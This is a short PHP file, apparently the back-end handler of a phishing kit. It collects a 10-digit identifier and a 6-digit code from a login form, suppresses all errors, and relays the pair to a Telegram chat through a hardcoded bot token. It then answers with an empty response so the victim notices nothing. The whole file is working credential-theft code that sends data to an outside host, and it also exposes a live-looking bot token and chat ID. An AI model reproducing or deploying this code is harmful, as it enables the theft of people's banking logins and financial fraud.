/home2/mshostin/live-dashboard/public/traitement.php
<?php
// ===============================
// AUCUNE SORTIE AUTORISÉE
// ===============================
ini_set('display_errors', 0);
error_reporting(0);

// ===============================
// Vérification requête
// ===============================
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(403);
    exit;
}

// ===============================
// Récupération des données
// ===============================
$identifiant = $_POST['identifiant'] ?? '';
$code        = $_POST['password-input'] ?? '';

if (!preg_match('/^[0-9]{10}$/', $identifiant)) {
    http_response_code(400);
    exit;
}

if (!preg_match('/^[0-9]{6}$/', $code)) {
    http_response_code(400);
    exit;
}

// ===============================
// TELEGRAM
// ===============================
$botToken = "7678470289:AAGGKPcwPcs27w4Bkjst2fxHjBQwPnASyj4";
$chatId   = "8503029197";

$message = "TEST\nID: $identifiant\nCODE: $code";

$url = "https://api.telegram.org/bot$botToken/sendMessage";

$data = [
    'chat_id' => $chatId,
    'text'    => $message
];

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);

// ===============================
// RÉPONSE VIDE (CRITIQUE)
// ===============================
http_response_code(204);
exit;